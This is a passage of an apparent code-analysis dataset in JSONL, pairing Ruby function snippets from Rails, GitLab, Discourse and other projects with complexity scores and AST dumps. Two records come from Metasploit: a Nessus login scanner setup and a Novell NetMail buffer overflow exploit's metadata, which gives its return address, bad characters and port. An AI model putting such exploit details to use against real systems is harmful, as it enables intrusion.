"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"helpers\"]},\"asset_path\",{\"type\":\"str\",\"children\":[\"katex.css\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\".\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"test_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"get\",{\"type\":\"str\",\"children\":[\"/api/v4/users\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_custom_logger\",{\"type\":\"lvar\",\"children\":[\"logger\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_profiler\",{\"type\":\"lvar\",\"children\":[\"profiler_options\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"verb\"]},{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"post_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_load_times_by_model\",{\"type\":\"lvar\",\"children\":[\"logger\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"ab339a3d-94ec-4e95-8f00-215b806de221"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":335,"raw_source":"def test_assert_enqueued_jobs_with_only_and_except_option_as_array\n      error = assert_raise ArgumentError do\n        assert_enqueued_jobs 2, only: [HelloJob, LoggingJob], except: [HelloJob, LoggingJob] do\n          HelloJob.perform_later(\"jeremy\")\n          LoggingJob.perform_later(\"stewie\")\n          RescueJob.perform_later(\"david\")\n        end\n      end\n\n      assert_match(/`:only` and `:except`/, error.message)\n    end","complexity_score":11.63,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_enqueued_jobs_with_only_and_except_option_as_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_jobs\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"jeremy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"stewie\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RescueJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"david\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"`:only` and `:except`\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"0899ca6c-9a17-4ee2-8677-17f6696411ff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/groups/members/sort_members_spec.rb","start_line":19,"raw_source":"def expect_sort_by(text, sort_direction)\n    within_testid('members-sort-dropdown') do\n      expect(page).to have_css('button[aria-haspopup=\"listbox\"]', text: text)\n      expect(page).to have_button(\"Sort direction: #{sort_direction == :asc ? 'Ascending' : 'Descending'}\")\n    end\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_sort_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"sort_direction\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_testid\",{\"type\":\"str\",\"children\":[\"members-sort-dropdown\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"button[aria-haspopup=\\\"listbox\\\"]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_button\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sort direction: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_direction\"]},\"==\",{\"type\":\"sym\",\"children\":[\"asc\"]}]},{\"type\":\"str\",\"children\":[\"Ascending\"]},{\"type\":\"str\",\"children\":[\"Descending\"]}]}]}]}]}]}]}]}]}","id":"91747da1-bf92-4cd2-b456-228d397ac074"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/lib/action_text/serialization.rb","start_line":34,"raw_source":"def _dump(*)\n      self.class.dump(self)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"_dump\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"dump\",{\"type\":\"self\",\"children\":[]}]}]}","id":"2a7b7ed1-84d5-4717-936a-1e2c082a0f69"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb","start_line":15,"raw_source":"def initialize\n    super(\n      'Name' => 'Nessus NTP Login Utility',\n      'Description' => 'This module attempts to authenticate to a Nessus NTP service.',\n      'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],\n      'License' => MSF_LICENSE\n    )\n    register_options(\n      [\n        Opt::RPORT(1241),\n        OptBool.new('BLANK_PASSWORDS', \"Try blank passwords for all users\")\n      ]\n    )\n  end","complexity_score":4.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Nessus NTP Login Utility\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"This module attempts to authenticate to a Nessus NTP service.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Vlatko Kosturjak <kost[at]linux.hr>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[1241]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"BLANK_PASSWORDS\"]},{\"type\":\"str\",\"children\":[\"Try blank passwords for all users\"]}]}]}]}]}]}","id":"ce05bb64-af4f-43a4-8631-bd7a83dd6710"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/issue_event_importer.rb","start_line":42,"raw_source":"def execute\n          importer = event_importer_class(issue_event)\n          if importer\n            importer.new(project, client).execute(issue_event)\n          else\n            Gitlab::GithubImport::Logger.debug(\n              message: 'UNSUPPORTED_EVENT_TYPE',\n              event_type: issue_event.event, event_github_id: issue_event.id\n            )\n          end\n        end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"importer\",{\"type\":\"send\",\"children\":[null,\"event_importer_class\",{\"type\":\"send\",\"children\":[null,\"issue_event\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"importer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"importer\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"client\"]}]},\"execute\",{\"type\":\"send\",\"children\":[null,\"issue_event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GithubImport\"]},\"Logger\"]},\"debug\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"UNSUPPORTED_EVENT_TYPE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue_event\"]},\"event\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_github_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue_event\"]},\"id\"]}]}]}]}]}]}]}","id":"ee9af4f8-245e-4f8a-a097-7f4915c4621f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user_merger.rb","start_line":131,"raw_source":"def merge_post_timings\n    if @acting_user\n      ::MessageBus.publish \"/merge_user\",\n                           { message: I18n.t(\"admin.user.merge_user.merging_post_timings\") },\n                           user_ids: [@acting_user.id]\n    end\n\n    update_user_id(\n      :post_timings,\n      conditions: [\"x.topic_id = y.topic_id\", \"x.post_number = y.post_number\"],\n    )\n    sql = <<~SQL\n      UPDATE post_timings AS t\n      SET msecs = LEAST(t.msecs::bigint + s.msecs, 2^31 - 1)\n      FROM post_timings AS s\n      WHERE t.user_id = :target_user_id AND s.user_id = :source_user_id\n            AND t.topic_id = s.topic_id AND t.post_number = s.post_number\n    SQL\n\n    DB.exec(sql, source_user_id: @source_user.id, target_user_id: @target_user.id)\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_post_timings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@acting_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MessageBus\"]},\"publish\",{\"type\":\"str\",\"children\":[\"/merge_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.user.merge_user.merging_post_timings\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@acting_user\"]},\"id\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"update_user_id\",{\"type\":\"sym\",\"children\":[\"post_timings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"x.topic_id = y.topic_id\"]},{\"type\":\"str\",\"children\":[\"x.post_number = y.post_number\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE post_timings AS t\\n\"]},{\"type\":\"str\",\"children\":[\"SET msecs = LEAST(t.msecs::bigint + s.msecs, 2^31 - 1)\\n\"]},{\"type\":\"str\",\"children\":[\"FROM post_timings AS s\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE t.user_id = :target_user_id AND s.user_id = :source_user_id\\n\"]},{\"type\":\"str\",\"children\":[\"      AND t.topic_id = s.topic_id AND t.post_number = s.post_number\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_user\"]},\"id\"]}]}]}]}]}]}","id":"3af09db3-528e-4165-bd6c-16b282acb35c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/members/create_service.rb","start_line":36,"raw_source":"def post_process\n    service_call = yield\n\n    return unless service_call.success?\n\n    member = service_call.result\n\n    add_group_memberships(member)\n    send_notification(member)\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"post_process\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_call\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"success?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"member\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"add_group_memberships\",{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"send_notification\",{\"type\":\"lvar\",\"children\":[\"member\"]}]}]}]}","id":"ac70a120-ecfa-49e3-87e5-0d42b7fd48bd"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/lib/action_text/plain_text_conversion.rb","start_line":141,"raw_source":"def traverse_bottom_up(node, &block)\n            call_stack, processing_stack = [ node ], []\n\n            until call_stack.empty?\n              node = call_stack.pop\n              processing_stack.push(node)\n              call_stack.concat node.children\n            end\n\n            processing_stack.reverse_each(&block)\n          end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"traverse_bottom_up\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"call_stack\"]},{\"type\":\"lvasgn\",\"children\":[\"processing_stack\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call_stack\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call_stack\"]},\"pop\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processing_stack\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call_stack\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processing_stack\"]},\"reverse_each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"cf5e839c-1da0-4569-916f-da3f7f824465"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/node_pattern_groups.rb","start_line":42,"raw_source":"def on_new_investigation\n          @walker = ASTWalker.new\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_investigation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@walker\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ASTWalker\"]},\"new\"]}]}]}","id":"cb94ccdf-8ea9-421f-bb9f-c0e3e3b958c2"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/abstract/abstract_controller_test.rb","start_line":75,"raw_source":"def rendering_to_string\n        self.response_body = render_to_string template: \"naked_render\"\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rendering_to_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"response_body=\",{\"type\":\"send\",\"children\":[null,\"render_to_string\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"naked_render\"]}]}]}]}]}]}","id":"3339d3ee-bec7-487c-b82b-c446f6102836"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/shell/command.rb","start_line":46,"raw_source":"def cmd_args(with_env: false)\n            if with_env && env.any?\n              # When providing cmd_args to `Open3.pipeline`, the env needs to be the first element of the array.\n              #\n              # While `Open3.capture3` accepts an empty hash as a valid parameter, it doesn't work with\n              # `Open3.pipeline`, so we modify the returned array only when the env hash is not empty.\n              @cmd_args.dup.prepend(env)\n            else\n              @cmd_args.dup\n            end\n          end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_args\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"with_env\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_env\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"any?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cmd_args\"]},\"dup\"]},\"prepend\",{\"type\":\"send\",\"children\":[null,\"env\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cmd_args\"]},\"dup\"]}]}]}","id":"a981b7f0-e701-4cd7-a603-7c9e046b9477"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2206,"raw_source":"def has_sast_reports?\n    if Feature.enabled?(:show_child_security_reports_in_mr_widget, project)\n      !!diff_head_pipeline&.complete_or_manual? &&\n        pipeline_has_report_in_self_or_descendants?(:sast)\n    else\n      !!diff_head_pipeline&.complete_or_manual_and_has_reports?(::Ci::JobArtifact.of_report_type(:sast))\n    end\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"has_sast_reports?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"show_child_security_reports_in_mr_widget\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_head_pipeline\"]},\"complete_or_manual?\"]},\"!\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"pipeline_has_report_in_self_or_descendants?\",{\"type\":\"sym\",\"children\":[\"sast\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_head_pipeline\"]},\"complete_or_manual_and_has_reports?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"JobArtifact\"]},\"of_report_type\",{\"type\":\"sym\",\"children\":[\"sast\"]}]}]},\"!\"]},\"!\"]}]}]}","id":"bbc47110-e9d7-4d09-b313-bd53b79fef94"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/quick_actions/relate_actions.rb","start_line":79,"raw_source":"def call_link_service(link_service)\n          if quick_action_target.persisted?\n            link_service.call\n          else\n            quick_action_target.run_after_commit(&link_service)\n          end\n        end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call_link_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link_service\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quick_action_target\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_service\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quick_action_target\"]},\"run_after_commit\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_service\"]}]}]}]}]}","id":"8dbd448e-27ca-45fd-b825-0e8de4eb014c"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/test_memory_leak.rb","start_line":49,"raw_source":"def loop_sites\n  RailsMultisite::ConnectionManagement.each_connection { yield }\nend","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"loop_sites\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"each_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"e29af531-f8d0-4d9d-87c1-0d44c3d925c4"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/app/models/boards/grid.rb","start_line":48,"raw_source":"def to_s\n      \"#{I18n.t('boards.label_board')} '#{name}'\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"boards.label_board\"]}]}]},{\"type\":\"str\",\"children\":[\" '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}","id":"4776f987-a430-45b5-8d82-07360f91dc3c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/appaloosa.rb","start_line":89,"raw_source":"def self.get_screenshots(screenshots_path, locale, device)\n        get_env_value('screenshots').nil? ? locale = '' : locale.concat('/')\n        device.nil? ? device = '' : device.concat('-')\n        screenshots_path.strip.empty? ? nil : screenshots_list(screenshots_path, locale, device)\n      end","complexity_score":13.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_screenshots\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"screenshots_path\"]},{\"type\":\"arg\",\"children\":[\"locale\"]},{\"type\":\"arg\",\"children\":[\"device\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_env_value\",{\"type\":\"str\",\"children\":[\"screenshots\"]}]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"locale\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]},\"concat\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"device\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device\"]},\"concat\",{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"screenshots_path\"]},\"strip\"]},\"empty?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"screenshots_list\",{\"type\":\"lvar\",\"children\":[\"screenshots_path\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]},{\"type\":\"lvar\",\"children\":[\"device\"]}]}]}]}]}","id":"0a0afa5b-8318-412a-bead-5c8349294bef"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/novell/nmap_stor.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Novell NetMail NMAP STOR Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR\n          verb. By sending an overly long string, an attacker can overwrite the\n          buffer and control program execution.\n        },\n        'Author' => [ 'MC' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2006-6424' ],\n          [ 'OSVDB', '31363' ],\n          [ 'BID', '21725' ],\n        ],\n        'Privileged' => true,\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread',\n        },\n        'Payload' => {\n          'Space' => 500,\n          'BadChars' => \"\\x00\\x0a\\x0d\\x20\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          ['Windows 2000 Pro SP4 English', { 'Ret' => 0x7cdc97fb }],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2006-12-23',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([Opt::RPORT(689)])\n  end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Novell NetMail NMAP STOR Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR\\n\"]},{\"type\":\"str\",\"children\":[\"          verb. By sending an overly long string, an attacker can overwrite the\\n\"]},{\"type\":\"str\",\"children\":[\"          buffer and control program execution.\\n\"]},{\"type\":\"str\",\"children\":[\"        